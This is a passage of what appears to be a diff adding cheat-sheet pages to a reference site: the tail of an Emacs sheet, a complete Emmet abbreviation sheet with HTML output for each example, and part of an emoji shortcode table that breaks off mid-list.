||||
|
||||
| - | - |
|
||||
|-------------------|------------------------------------------|
|
||||
| `C-x` `a` `g` | Add global abbrev |
|
||||
| `C-x` `a` `l` | Add mode-local abbrev |
|
||||
| `C-x` `a` `i` `g` | Add global expansion for this abbrev |
|
||||
| `C-x` `a` `i` `l` | Add mode-local expansion for this abbrev |
|
||||
| `C-x` `a` `e` | Explicitly expand abbrev |
|
||||
| `M-/` | Expand previous word dynamically |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
|
||||
### Spelling Check
|
||||
|
||||
| - | - |
|
||||
|---------------------|---------------------------------------|
|
||||
| `M-$` | Check spelling of current word |
|
||||
| `M-x` ispell-region | Check spelling of all words in region |
|
||||
| `M-x` ispell-buffer | Check spelling of entire buffer |
|
||||
| `M-x` flyspell-mode | Toggle on-the-fly spell checking |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
|
||||
### Writing Commands {.col-span-2}
|
||||
|
||||
#### Syntax
|
||||
```
|
||||
(defun command-name (args)
|
||||
"documentation" (interactive "template")
|
||||
body)
|
||||
```
|
||||
|
||||
#### Example
|
||||
```
|
||||
(defun this-line-to-top-of-window (line)
|
||||
"Reposition current line to top of window.
|
||||
With prefix argument LINE, put point on LINE."
|
||||
(interactive "P")
|
||||
(recenter (if (null line)
|
||||
0
|
||||
(prefix-numeric-value line))))
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
The interactive spec says how to read arguments interactively. Type `C-h` `f` interactive `RET` for more details.
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,286 @@
|
||||
---
|
||||
title: Emmet
|
||||
date: 2020-12-14 18:28:43
|
||||
icon: icon-emmet
|
||||
background: bg-[#95c844]
|
||||
tags:
|
||||
- snippets
|
||||
- coding
|
||||
- html
|
||||
- css
|
||||
- abbr
|
||||
categories:
|
||||
- Toolkit
|
||||
intro: |
|
||||
[Emmet](https://emmet.io/) is a web-developer’s toolkit for boosting HTML & CSS code writing, which allows you to write large HTML code blocks at speed of light using well-known CSS selectors.
|
||||
---
|
||||
|
||||
|
||||
Emmet Syntax {.cols-3}
|
||||
---------------
|
||||
|
||||
|
||||
### Getting started
|
||||
|
||||
Let us start to improve your development to the speed of light.
|
||||
|
||||
- [Emmet in Visual Studio Code](https://code.visualstudio.com/docs/editor/emmet) _(code.visualstudio.com)_
|
||||
- [Emmet 2 for Sublime Text](https://github.com/emmetio/sublime-text-plugin) _(github.com)_
|
||||
- [Emmet for Coda](https://emmet.io/download/coda/) _(emmet.io)_
|
||||
- [Emmet for Atom](https://github.com/emmetio/emmet-atom#readme) _(github.com)_
|
||||
|
||||
|
||||
### Multiplication: *
|
||||
|
||||
ul>li*5
|
||||
|
||||
```html
|
||||
<ul>
|
||||
<li></li>
|
||||
<li></li>
|
||||
<li></li>
|
||||
<li></li>
|
||||
<li></li>
|
||||
</ul>
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Child: >
|
||||
`nav>ul>li`
|
||||
|
||||
```html
|
||||
<nav>
|
||||
<ul>
|
||||
<li></li>
|
||||
</ul>
|
||||
</nav>
|
||||
```
|
||||
|
||||
|
||||
### Custom attributes {.col-span-2}
|
||||
|
||||
p[title="Hello world"]
|
||||
|
||||
```html
|
||||
<p title="Hello world"></p>
|
||||
```
|
||||
|
||||
td[rowspan=2 colspan=3 title]
|
||||
|
||||
```html
|
||||
<td rowspan="2" colspan="3" title=""></td>
|
||||
```
|
||||
|
||||
[a='value1' b="value2"]
|
||||
|
||||
```html
|
||||
<div a="value1" b="value2"></div>
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Text: {}
|
||||
|
||||
a{Click me}
|
||||
|
||||
```html
|
||||
<a href="">Click me</a>
|
||||
```
|
||||
|
||||
p>{Click }+a{here}+{ to continue}
|
||||
|
||||
```html {.wrap}
|
||||
<p>Click <a href="">here</a> to continue</p>
|
||||
```
|
||||
|
||||
|
||||
### ID and CLASS attributes {.row-span-2}
|
||||
|
||||
`#header`
|
||||
|
||||
```html
|
||||
<div id="header"></div>
|
||||
```
|
||||
|
||||
.title
|
||||
|
||||
```html
|
||||
<div class="title"></div>
|
||||
```
|
||||
|
||||
|
||||
form#search.wide
|
||||
|
||||
```html
|
||||
<form id="search" class="wide"></form>
|
||||
```
|
||||
|
||||
p.class1.class2.class3
|
||||
|
||||
```html
|
||||
<p class="class1 class2 class3"></p>
|
||||
```
|
||||
|
||||
|
||||
### Implicit tag names {.row-span-2}
|
||||
.class
|
||||
|
||||
```html
|
||||
<div class="class"></div>
|
||||
```
|
||||
|
||||
em>.class
|
||||
|
||||
```html
|
||||
<em><span class="class"></span></em>
|
||||
```
|
||||
|
||||
|
||||
ul>.class
|
||||
```html
|
||||
<ul>
|
||||
<li class="class"></li>
|
||||
</ul>
|
||||
```
|
||||
|
||||
|
||||
table>.row>.col
|
||||
|
||||
```html
|
||||
<table>
|
||||
<tr class="row">
|
||||
<td class="col"></td>
|
||||
</tr>
|
||||
</table>
|
||||
```
|
||||
|
||||
|
||||
### Sibling: +
|
||||
|
||||
div+p+bq
|
||||
|
||||
```html
|
||||
<div></div>
|
||||
<p></p>
|
||||
<blockquote></blockquote>
|
||||
```
|
||||
|
||||
|
||||
### Climb-up: ^
|
||||
|
||||
div+div>p>span+em^bq
|
||||
|
||||
|
||||
```html
|
||||
<div></div>
|
||||
<div>
|
||||
<p><span></span><em></em></p>
|
||||
<blockquote></blockquote>
|
||||
</div>
|
||||
```
|
||||
|
||||
|
||||
div+div>p>span+em^^bq
|
||||
|
||||
```html
|
||||
<div></div>
|
||||
<div>
|
||||
<p><span></span><em></em></p>
|
||||
</div>
|
||||
<blockquote></blockquote>
|
||||
```
|
||||
|
||||
|
||||
### Grouping: ()
|
||||
|
||||
div>(header>ul>li*2>a)+footer>p
|
||||
|
||||
```html
|
||||
<div>
|
||||
<header>
|
||||
<ul>
|
||||
<li><a href=""></a></li>
|
||||
<li><a href=""></a></li>
|
||||
</ul>
|
||||
</header>
|
||||
<footer>
|
||||
<p></p>
|
||||
</footer>
|
||||
</div>
|
||||
```
|
||||
|
||||
(div>dl>(dt+dd)*4)+footer>p
|
||||
```html
|
||||
<div>
|
||||
<dl>
|
||||
<dt></dt>
|
||||
<dd></dd>
|
||||
<dt></dt>
|
||||
<dd></dd>
|
||||
<dt></dt>
|
||||
<dd></dd>
|
||||
<dt></dt>
|
||||
<dd></dd>
|
||||
</dl>
|
||||
</div>
|
||||
<footer>
|
||||
<p></p>
|
||||
</footer>
|
||||
```
|
||||
|
||||
|
||||
### $ {.row-span-2}
|
||||
|
||||
ul>li.item$*3
|
||||
|
||||
```html
|
||||
<ul>
|
||||
<li class="item1"></li>
|
||||
<li class="item2"></li>
|
||||
<li class="item3"></li>
|
||||
</ul>
|
||||
```
|
||||
|
||||
h$[title=item$]{Header $}*3
|
||||
|
||||
```html
|
||||
<h1 title="item1">Header 1</h1>
|
||||
<h2 title="item2">Header 2</h2>
|
||||
<h3 title="item3">Header 3</h3>
|
||||
```
|
||||
|
||||
ul>li.item$$$*3
|
||||
|
||||
```html
|
||||
<ul>
|
||||
<li class="item001"></li>
|
||||
<li class="item002"></li>
|
||||
<li class="item003"></li>
|
||||
</ul>
|
||||
```
|
||||
|
||||
ul>li.item$@-*3
|
||||
```html
|
||||
<ul>
|
||||
<li class="item3"></li>
|
||||
<li class="item2"></li>
|
||||
<li class="item1"></li>
|
||||
</ul>
|
||||
```
|
||||
|
||||
ul>li.item$@2*3
|
||||
```html
|
||||
<ul>
|
||||
<li class="item2"></li>
|
||||
<li class="item3"></li>
|
||||
<li class="item4"></li>
|
||||
</ul>
|
||||
```
|
||||
|
||||
Also see {.cols-1}
|
||||
--------
|
||||
|
||||
* [Emmet Cheat sheet](https://docs.emmet.io/cheat-sheet/) _(docs.emmet.io)_
|
||||
@@ -0,0 +1,903 @@
|
||||
---
|
||||
title: Emoji
|
||||
date: 2020-12-15 18:28:43
|
||||
icon: icon-emoji
|
||||
background: bg-[#ebbe46]
|
||||
tags:
|
||||
categories:
|
||||
- Other
|
||||
intro: Some of the emoji codes are not super easy to remember, so here is a little cheat sheet.
|
||||
---
|
||||
|
||||
Getting Started {.cols-3}
|
||||
----------
|
||||
|
||||
### People
|
||||
|
||||
| - | - |
|
||||
|--------------------------------|----------------------------------|
|
||||
| :smile: | `:smile:` |
|
||||
| :laughing: | `:laughing:` |
|
||||
| :blush: | `:blush:` |
|
||||
| :smiley: | `:smiley:` |
|
||||
| :relaxed: | `:relaxed:` |
|
||||
| :smirk: | `:smirk:` |
|
||||
| :heart_eyes: | `:heart_eyes:` |
|
||||
| :kissing_heart: | `:kissing_heart:` |
|
||||
| :kissing_closed_eyes: | `:kissing_closed_eyes:` |
|
||||
| :flushed: | `:flushed:` |
|
||||
| :relieved: | `:relieved:` |
|
||||
| :satisfied: | `:satisfied:` |
|
||||
| :grin: | `:grin:` |
|
||||
| :wink: | `:wink:` |
|
||||
| :stuck_out_tongue_winking_eye: | `:stuck_out_tongue_winking_eye:` |
|
||||
| :stuck_out_tongue_closed_eyes: | `:stuck_out_tongue_closed_eyes:` |
|
||||
| :grinning: | `:grinning:` |
|
||||
| :kissing: | `:kissing:` |
|
||||
| :kissing_smiling_eyes: | `:kissing_smiling_eyes:` |
|
||||
| :stuck_out_tongue: | `:stuck_out_tongue:` |
|
||||
| :sleeping: | `:sleeping:` |
|
||||
| :worried: | `:worried:` |
|
||||
| :frowning: | `:frowning:` |
|
||||
| :anguished: | `:anguished:` |
|
||||
| :open_mouth: | `:open_mouth:` |
|
||||
| :grimacing: | `:grimacing:` |
|
||||
| :confused: | `:confused:` |
|
||||
| :hushed: | `:hushed:` |
|
||||
| :expressionless: | `:expressionless:` |
|
||||
| :unamused: | `:unamused:` |
|
||||
| :sweat_smile: | `:sweat_smile:` |
|
||||
| :sweat: | `:sweat:` |
|
||||
| :disappointed_relieved: | `:disappointed_relieved:` |
|
||||
| :weary: | `:weary:` |
|
||||
| :pensive: | `:pensive:` |
|
||||
| :disappointed: | `:disappointed:` |
|
||||
| :confounded: | `:confounded:` |
|
||||
| :fearful: | `:fearful:` |
|
||||
| :cold_sweat: | `:cold_sweat:` |
|
||||
| :persevere: | `:persevere:` |
|
||||
| :cry: | `:cry:` |
|
||||
| :sob: | `:sob:` |
|
||||
| :joy: | `:joy:` |
|
||||
| :astonished: | `:astonished:` |
|
||||
| :scream: | `:scream:` |
|
||||
| :tired_face: | `:tired_face:` |
|
||||
| :angry: | `:angry:` |
|
||||
| :rage: | `:rage:` |
|
||||
| :triumph: | `:triumph:` |
|
||||
| :sleepy: | `:sleepy:` |
|
||||
| :yum: | `:yum:` |
|
||||
| :mask: | `:mask:` |
|
||||
| :sunglasses: | `:sunglasses:` |
|
||||
| :dizzy_face: | `:dizzy_face:` |
|
||||
| :imp: | `:imp:` |
|
||||
| :smiling_imp: | `:smiling_imp:` |
|
||||
| :neutral_face: | `:neutral_face:` |
|
||||
| :no_mouth: | `:no_mouth:` |
|
||||
| :innocent: | `:innocent:` |
|
||||
| :alien: | `:alien:` |
|
||||
| :yellow_heart: | `:yellow_heart:` |
|
||||
| :blue_heart: | `:blue_heart:` |
|
||||
| :purple_heart: | `:purple_heart:` |
|
||||
| :heart: | `:heart:` |
|
||||
| :green_heart: | `:green_heart:` |
|
||||
| :broken_heart: | `:broken_heart:` |
|
||||
| :heartbeat: | `:heartbeat:` |
|
||||
| :heartpulse: | `:heartpulse:` |
|
||||
| :two_hearts: | `:two_hearts:` |
|
||||
| :revolving_hearts: | `:revolving_hearts:` |
|
||||
| :cupid: | `:cupid:` |
|
||||
| :sparkling_heart: | `:sparkling_heart:` |
|
||||
| :sparkles: | `:sparkles:` |
|
||||
| :star: | `:star:` |
|
||||
| :star2: | `:star2:` |
|
||||
| :dizzy: | `:dizzy:` |
|
||||
| :boom: | `:boom:` |
|
||||
| :collision: | `:collision:` |
|
||||
| :anger: | `:anger:` |
|
||||
| :exclamation: | `:exclamation:` |
|
||||
| :question: | `:question:` |
|
||||
| :grey_exclamation: | `:grey_exclamation:` |
|
||||
| :grey_question: | `:grey_question:` |
|
||||
| :zzz: | `:zzz:` |
|
||||
| :dash: | `:dash:` |
|
||||
| :sweat_drops: | `:sweat_drops:` |
|
||||
| :notes: | `:notes:` |
|
||||
| :musical_note: | `:musical_note:` |
|
||||
| :fire: | `:fire:` |
|
||||
| :hankey: | `:hankey:` |
|
||||
| :poop: | `:poop:` |
|
||||
| :shit: | `:shit:` |
|
||||
| :+1: | `:+1:` |
|
||||
| :thumbsup: | `:thumbsup:` |
|
||||
| :-1: | `:-1:` |
|
||||
| :thumbsdown: | `:thumbsdown:` |
|
||||
| :ok_hand: | `:ok_hand:` |
|
||||
| :punch: | `:punch:` |
|
||||
| :facepunch: | `:facepunch:` |
|
||||
| :fist: | `:fist:` |
|
||||
| :v: | `:v:` |
|
||||
| :wave: | `:wave:` |
|
||||
| :hand: | `:hand:` |
|
||||
| :raised_hand: | `:raised_hand:` |
|
||||
| :open_hands: | `:open_hands:` |
|
||||
| :point_up: | `:point_up:` |
|
||||
| :point_down: | `:point_down:` |
|
||||
| :point_left: | `:point_left:` |
|
||||
| :point_right: | `:point_right:` |
|
||||
| :raised_hands: | `:raised_hands:` |
|
||||
| :pray: | `:pray:` |
|
||||
| :point_up_2: | `:point_up_2:` |
|
||||
| :clap: | `:clap:` |
|
||||
| :muscle: | `:muscle:` |
|
||||
| :metal: | `:metal:` |
|
||||
| :fu: | `:fu:` |
|
||||
| :runner: | `:runner:` |
|
||||
| :running: | `:running:` |
|
||||
| :couple: | `:couple:` |
|
||||
| :family: | `:family:` |
|
||||
| :two_men_holding_hands: | `:two_men_holding_hands:` |
|
||||
| :two_women_holding_hands: | `:two_women_holding_hands:` |
|
||||
| :dancer: | `:dancer:` |
|
||||
| :dancers: | `:dancers:` |
|
||||
| :ok_woman: | `:ok_woman:` |
|
||||
| :no_good: | `:no_good:` |
|
||||
| :information_desk_person: | `:information_desk_person:` |
|
||||
| :raising_hand: | `:raising_hand:` |
|
||||
| :bride_with_veil: | `:bride_with_veil:` |
|
||||
| :bow: | `:bow:` |
|
||||
| :couplekiss: | `:couplekiss:` |
|
||||
| :couple_with_heart: | `:couple_with_heart:` |
|
||||
| :massage: | `:massage:` |
|
||||
| :haircut: | `:haircut:` |
|
||||
| :nail_care: | `:nail_care:` |
|
||||
| :boy: | `:boy:` |
|
||||
| :girl: | `:girl:` |
|
||||
| :woman: | `:woman:` |
|
||||
| :man: | `:man:` |
|
||||
| :baby: | `:baby:` |
|
||||
| :older_woman: | `:older_woman:` |
|
||||
| :older_man: | `:older_man:` |
|
||||
| :man_with_gua_pi_mao: | `:man_with_gua_pi_mao:` |
|
||||
| :man_with_turban: | `:man_with_turban:` |
|
||||
| :construction_worker: | `:construction_worker:` |
|
||||
| :cop: | `:cop:` |
|
||||
| :angel: | `:angel:` |
|
||||
| :princess: | `:princess:` |
|
||||
| :smiley_cat: | `:smiley_cat:` |
|
||||
| :smile_cat: | `:smile_cat:` |
|
||||
| :heart_eyes_cat: | `:heart_eyes_cat:` |
|
||||
| :kissing_cat: | `:kissing_cat:` |
|
||||
| :smirk_cat: | `:smirk_cat:` |
|
||||
| :scream_cat: | `:scream_cat:` |
|
||||
| :crying_cat_face: | `:crying_cat_face:` |
|
||||
| :joy_cat: | `:joy_cat:` |
|
||||
| :pouting_cat: | `:pouting_cat:` |
|
||||
| :japanese_ogre: | `:japanese_ogre:` |
|
||||
| :japanese_goblin: | `:japanese_goblin:` |
|
||||
| :see_no_evil: | `:see_no_evil:` |
|
||||
| :hear_no_evil: | `:hear_no_evil:` |
|
||||
| :speak_no_evil: | `:speak_no_evil:` |
|
||||
| :guardsman: | `:guardsman:` |
|
||||
| :skull: | `:skull:` |
|
||||
| :feet: | `:feet:` |
|
||||
| :lips: | `:lips:` |
|
||||
| :kiss: | `:kiss:` |
|
||||
| :droplet: | `:droplet:` |
|
||||
| :ear: | `:ear:` |
|
||||
| :eyes: | `:eyes:` |
|
||||
| :nose: | `:nose:` |
|
||||
| :tongue: | `:tongue:` |
|
||||
| :love_letter: | `:love_letter:` |
|
||||
| :bust_in_silhouette: | `:bust_in_silhouette:` |
|
||||
| :busts_in_silhouette: | `:busts_in_silhouette:` |
|
||||
| :speech_balloon: | `:speech_balloon:` |
|
||||
| :thought_balloon: | `:thought_balloon:` |
|
||||
{.plus-first .shortcuts-right}
|
||||
|
||||
|
||||
|
||||
|
||||
### Symbols
|
||||
|
||||
| - | - |
|
||||
|-----------------------------------|-------------------------------------|
|
||||
| :one: | `:one:` |
|
||||
| :two: | `:two:` |
|
||||
| :three: | `:three:` |
|
||||
| :four: | `:four:` |
|
||||
| :five: | `:five:` |
|
||||
| :six: | `:six:` |
|
||||
| :seven: | `:seven:` |
|
||||
| :eight: | `:eight:` |
|
||||
| :nine: | `:nine:` |
|
||||
| :keycap_ten: | `:keycap_ten:` |
|
||||
| :1234: | `:1234:` |
|
||||
| :zero: | `:zero:` |
|
||||
| :hash: | `:hash:` |
|
||||
| :symbols: | `:symbols:` |
|
||||
| :arrow_backward: | `:arrow_backward:` |
|
||||
| :arrow_down: | `:arrow_down:` |
|
||||
| :arrow_forward: | `:arrow_forward:` |
|
||||
| :arrow_left: | `:arrow_left:` |
|
||||
| :capital_abcd: | `:capital_abcd:` |
|
||||
| :abcd: | `:abcd:` |
|
||||
| :abc: | `:abc:` |
|
||||
| :arrow_lower_left: | `:arrow_lower_left:` |
|
||||
| :arrow_lower_right: | `:arrow_lower_right:` |
|
||||
| :arrow_right: | `:arrow_right:` |
|
||||
| :arrow_up: | `:arrow_up:` |
|
||||
| :arrow_upper_left: | `:arrow_upper_left:` |
|
||||
| :arrow_upper_right: | `:arrow_upper_right:` |
|
||||
| :arrow_double_down: | `:arrow_double_down:` |
|
||||
| :arrow_double_up: | `:arrow_double_up:` |
|
||||
| :arrow_down_small: | `:arrow_down_small:` |
|
||||
| :arrow_heading_down: | `:arrow_heading_down:` |
|
||||
| :arrow_heading_up: | `:arrow_heading_up:` |
|
||||
| :leftwards_arrow_with_hook: | `:leftwards_arrow_with_hook:` |
|
||||
| :arrow_right_hook: | `:arrow_right_hook:` |
|
||||
| :left_right_arrow: | `:left_right_arrow:` |
|
||||
| :arrow_up_down: | `:arrow_up_down:` |
|
||||
| :arrow_up_small: | `:arrow_up_small:` |
|
||||
| :arrows_clockwise: | `:arrows_clockwise:` |
|
||||
| :arrows_counterclockwise: | `:arrows_counterclockwise:` |
|
||||
| :rewind: | `:rewind:` |
|
||||
| :fast_forward: | `:fast_forward:` |
|
||||
| :information_source: | `:information_source:` |
|
||||
| :ok: | `:ok:` |
|
||||
| :twisted_rightwards_arrows: | `:twisted_rightwards_arrows:` |
|
||||
| :repeat: | `:repeat:` |
|
||||
| :repeat_one: | `:repeat_one:` |
|
||||
| :new: | `:new:` |
|
||||
| :top: | `:top:` |
|
||||
| :up: | `:up:` |
|
||||
| :cool: | `:cool:` |
|
||||
| :free: | `:free:` |
|
||||
| :ng: | `:ng:` |
|
||||
| :cinema: | `:cinema:` |
|
||||
| :koko: | `:koko:` |
|
||||
| :signal_strength: | `:signal_strength:` |
|
||||
| :u6e80: | `:u6e80:` |
|
||||
| :sa: | `:sa:` |
|
||||
| :restroom: | `:restroom:` |
|
||||
| :mens: | `:mens:` |
|
||||
| :womens: | `:womens:` |
|
||||
| :baby_symbol: | `:baby_symbol:` |
|
||||
| :no_smoking: | `:no_smoking:` |
|
||||
| :parking: | `:parking:` |
|
||||
| :wheelchair: | `:wheelchair:` |
|
||||
| :metro: | `:metro:` |
|
||||
| :baggage_claim: | `:baggage_claim:` |
|
||||
| :accept: | `:accept:` |
|
||||
| :wc: | `:wc:` |
|
||||
| :potable_water: | `:potable_water:` |
|
||||
| :put_litter_in_its_place: | `:put_litter_in_its_place:` |
|
||||
| :secret: | `:secret:` |
|
||||
| :congratulations: | `:congratulations:` |
|
||||
| :m: | `:m:` |
|
||||
| :passport_control: | `:passport_control:` |
|
||||
| :left_luggage: | `:left_luggage:` |
|
||||
| :customs: | `:customs:` |
|
||||
| :ideograph_advantage: | `:ideograph_advantage:` |
|
||||
| :cl: | `:cl:` |
|
||||
| :sos: | `:sos:` |
|
||||
| :id: | `:id:` |
|
||||
| :no_entry_sign: | `:no_entry_sign:` |
|
||||
| :underage: | `:underage:` |
|
||||
| :no_mobile_phones: | `:no_mobile_phones:` |
|
||||
| :do_not_litter: | `:do_not_litter:` |
|
||||
| :non-potable_water: | `:non-potable_water:` |
|
||||
| :no_bicycles: | `:no_bicycles:` |
|
||||
| :no_pedestrians: | `:no_pedestrians:` |
|
||||
| :children_crossing: | `:children_crossing:` |
|
||||
| :no_entry: | `:no_entry:` |
|
||||
| :eight_spoked_asterisk: | `:eight_spoked_asterisk:` |
|
||||
| :sparkle: | `:sparkle:` |
|
||||
| :eight_pointed_black_star: | `:eight_pointed_black_star:` |
|
||||
| :heart_decoration: | `:heart_decoration:` |
|
||||
| :vs: | `:vs:` |
|
||||
| :vibration_mode: | `:vibration_mode:` |
|
||||
| :mobile_phone_off: | `:mobile_phone_off:` |
|
||||
| :chart: | `:chart:` |
|
||||
| :currency_exchange: | `:currency_exchange:` |
|
||||
| :aries: | `:aries:` |
|
||||
| :taurus: | `:taurus:` |
|
||||
| :gemini: | `:gemini:` |
|
||||
| :cancer: | `:cancer:` |
|
||||
| :leo: | `:leo:` |
|
||||
| :virgo: | `:virgo:` |
|
||||
| :libra: | `:libra:` |
|
||||
| :scorpius: | `:scorpius:` |
|
||||
| :sagittarius: | `:sagittarius:` |
|
||||
| :capricorn: | `:capricorn:` |
|
||||
| :aquarius: | `:aquarius:` |
|
||||
| :pisces: | `:pisces:` |
|
||||
| :ophiuchus: | `:ophiuchus:` |
|
||||
| :six_pointed_star: | `:six_pointed_star:` |
|
||||
| :negative_squared_cross_mark: | `:negative_squared_cross_mark:` |
|
||||
| :a: | `:a:` |
|
||||
| :b: | `:b:` |
|
||||
| :ab: | `:ab:` |
|
||||
| :o2: | `:o2:` |
|
||||
| :diamond_shape_with_a_dot_inside: | `:diamond_shape_with_a_dot_inside:` |
|
||||
| :recycle: | `:recycle:` |
|
||||
| :end: | `:end:` |
|
||||
| :back: | `:back:` |
|
||||
| :on: | `:on:` |
|
||||
| :soon: | `:soon:` |
|
||||
| :clock1: | `:clock1:` |
|
||||
| :clock130: | `:clock130:` |
|
||||
| :clock10: | `:clock10:` |
|
||||
| :clock1030: | `:clock1030:` |
|
||||
| :clock11: | `:clock11:` |
|
||||
| :clock1130: | `:clock1130:` |
|
||||
| :clock12: | `:clock12:` |
|
||||
| :clock1230: | `:clock1230:` |
|
||||
| :clock2: | `:clock2:` |
|
||||
| :clock230: | `:clock230:` |
|
||||
| :clock3: | `:clock3:` |
|
||||
| :clock330: | `:clock330:` |
|
||||
| :clock4: | `:clock4:` |
|
||||
| :clock430: | `:clock430:` |
|
||||
| :clock5: | `:clock5:` |
|
||||
| :clock530: | `:clock530:` |
|
||||
| :clock6: | `:clock6:` |
|
||||
| :clock630: | `:clock630:` |
|
||||
| :clock7: | `:clock7:` |
|
||||
| :clock730: | `:clock730:` |
|
||||
| :clock8: | `:clock8:` |
|
||||
| :clock830: | `:clock830:` |
|
||||
| :clock9: | `:clock9:` |
|
||||
| :clock930: | `:clock930:` |
|
||||
| :heavy_dollar_sign: | `:heavy_dollar_sign:` |
|
||||
| :copyright: | `:copyright:` |
|
||||
| :registered: | `:registered:` |
|
||||
| :tm: | `:tm:` |
|
||||
| :x: | `:x:` |
|
||||
| :heavy_exclamation_mark: | `:heavy_exclamation_mark:` |
|
||||
| :bangbang: | `:bangbang:` |
|
||||
| :interrobang: | `:interrobang:` |
|
||||
| :o: | `:o:` |
|
||||
| :heavy_multiplication_x: | `:heavy_multiplication_x:` |
|
||||
| :heavy_plus_sign: | `:heavy_plus_sign:` |
|
||||
| :heavy_minus_sign: | `:heavy_minus_sign:` |
|
||||
| :heavy_division_sign: | `:heavy_division_sign:` |
|
||||
| :white_flower: | `:white_flower:` |
|
||||
| :100: | `:100:` |
|
||||
| :heavy_check_mark: | `:heavy_check_mark:` |
|
||||
| :ballot_box_with_check: | `:ballot_box_with_check:` |
|
||||
| :radio_button: | `:radio_button:` |
|
||||
| :link: | `:link:` |
|
||||
| :curly_loop: | `:curly_loop:` |
|
||||
| :wavy_dash: | `:wavy_dash:` |
|
||||
| :part_alternation_mark: | `:part_alternation_mark:` |
|
||||
| :trident: | `:trident:` |
|
||||
| :black_small_square: | `:black_small_square:` |
|
||||
| :white_small_square: | `:white_small_square:` |
|
||||
| :black_medium_small_square: | `:black_medium_small_square:` |
|
||||
| :white_medium_small_square: | `:white_medium_small_square:` |
|
||||
| :black_medium_square: | `:black_medium_square:` |
|
||||
| :white_medium_square: | `:white_medium_square:` |
|
||||
| :black_large_square: | `:black_large_square:` |
|
||||
| :white_large_square: | `:white_large_square:` |
|
||||
| :white_check_mark: | `:white_check_mark:` |
|
||||
| :black_square_button: | `:black_square_button:` |
|
||||
| :white_square_button: | `:white_square_button:` |
|
||||
| :black_circle: | `:black_circle:` |
|
||||
| :white_circle: | `:white_circle:` |
|
||||
| :red_circle: | `:red_circle:` |
|
||||
| :large_blue_circle: | `:large_blue_circle:` |
|
||||
| :large_blue_diamond: | `:large_blue_diamond:` |
|
||||
| :large_orange_diamond: | `:large_orange_diamond:` |
|
||||
| :small_blue_diamond: | `:small_blue_diamond:` |
|
||||
| :small_orange_diamond: | `:small_orange_diamond:` |
|
||||
| :small_red_triangle: | `:small_red_triangle:` |
|
||||
| :small_red_triangle_down: | `:small_red_triangle_down:` |
|
||||
{.plus-first}
|
||||
|
||||
|
||||
|
||||
### Objects {.row-span-2}
|
||||
|
||||
| - | - |
|
||||
|----------------------------------|------------------------------------|
|
||||
| :bamboo: | `:bamboo:` |
|
||||
| :gift_heart: | `:gift_heart:` |
|
||||
| :dolls: | `:dolls:` |
|
||||
| :school_satchel: | `:school_satchel:` |
|
||||
| :mortar_board: | `:mortar_board:` |
|
||||
| :flags: | `:flags:` |
|
||||
| :fireworks: | `:fireworks:` |
|
||||
| :sparkler: | `:sparkler:` |
|
||||
| :wind_chime: | `:wind_chime:` |
|
||||
| :rice_scene: | `:rice_scene:` |
|
||||
| :jack_o_lantern: | `:jack_o_lantern:` |
|
||||
| :ghost: | `:ghost:` |
|
||||
| :santa: | `:santa:` |
|
||||
| :christmas_tree: | `:christmas_tree:` |
|
||||
| :gift: | `:gift:` |
|
||||
| :bell: | `:bell:` |
|
||||
| :no_bell: | `:no_bell:` |
|
||||
| :tanabata_tree: | `:tanabata_tree:` |
|
||||
| :tada: | `:tada:` |
|
||||
| :confetti_ball: | `:confetti_ball:` |
|
||||
| :balloon: | `:balloon:` |
|
||||
| :crystal_ball: | `:crystal_ball:` |
|
||||
| :cd: | `:cd:` |
|
||||
| :dvd: | `:dvd:` |
|
||||
| :floppy_disk: | `:floppy_disk:` |
|
||||
| :camera: | `:camera:` |
|
||||
| :video_camera: | `:video_camera:` |
|
||||
| :movie_camera: | `:movie_camera:` |
|
||||
| :computer: | `:computer:` |
|
||||
| :tv: | `:tv:` |
|
||||
| :iphone: | `:iphone:` |
|
||||
| :phone: | `:phone:` |
|
||||
| :telephone: | `:telephone:` |
|
||||
| :telephone_receiver: | `:telephone_receiver:` |
|
||||
| :pager: | `:pager:` |
|
||||
| :fax: | `:fax:` |
|
||||
| :minidisc: | `:minidisc:` |
|
||||
| :vhs: | `:vhs:` |
|
||||
| :sound: | `:sound:` |
|
||||
| :speaker: | `:speaker:` |
|
||||
| :mute: | `:mute:` |
|
||||
| :loudspeaker: | `:loudspeaker:` |
|
||||
| :mega: | `:mega:` |
|
||||
| :hourglass: | `:hourglass:` |
|
||||
| :hourglass_flowing_sand: | `:hourglass_flowing_sand:` |
|
||||
| :alarm_clock: | `:alarm_clock:` |
|
||||
| :watch: | `:watch:` |
|
||||
| :radio: | `:radio:` |
|
||||
| :satellite: | `:satellite:` |
|
||||
| :loop: | `:loop:` |
|
||||
| :mag: | `:mag:` |
|
||||
| :mag_right: | `:mag_right:` |
|
||||
| :unlock: | `:unlock:` |
|
||||
| :lock: | `:lock:` |
|
||||
| :lock_with_ink_pen: | `:lock_with_ink_pen:` |
|
||||
| :closed_lock_with_key: | `:closed_lock_with_key:` |
|
||||
| :key: | `:key:` |
|
||||
| :bulb: | `:bulb:` |
|
||||
| :flashlight: | `:flashlight:` |
|
||||
| :high_brightness: | `:high_brightness:` |
|
||||
| :low_brightness: | `:low_brightness:` |
|
||||
| :electric_plug: | `:electric_plug:` |
|
||||
| :battery: | `:battery:` |
|
||||
| :calling: | `:calling:` |
|
||||
| :email: | `:email:` |
|
||||
| :mailbox: | `:mailbox:` |
|
||||
| :postbox: | `:postbox:` |
|
||||
| :bath: | `:bath:` |
|
||||
| :bathtub: | `:bathtub:` |
|
||||
| :shower: | `:shower:` |
|
||||
| :toilet: | `:toilet:` |
|
||||
| :wrench: | `:wrench:` |
|
||||
| :nut_and_bolt: | `:nut_and_bolt:` |
|
||||
| :hammer: | `:hammer:` |
|
||||
| :seat: | `:seat:` |
|
||||
| :moneybag: | `:moneybag:` |
|
||||
| :yen: | `:yen:` |
|
||||
| :dollar: | `:dollar:` |
|
||||
| :pound: | `:pound:` |
|
||||
| :euro: | `:euro:` |
|
||||
| :credit_card: | `:credit_card:` |
|
||||
| :money_with_wings: | `:money_with_wings:` |
|
||||
| :e-mail: | `:e-mail:` |
|
||||
| :inbox_tray: | `:inbox_tray:` |
|
||||
| :outbox_tray: | `:outbox_tray:` |
|
||||
| :envelope: | `:envelope:` |
|
||||
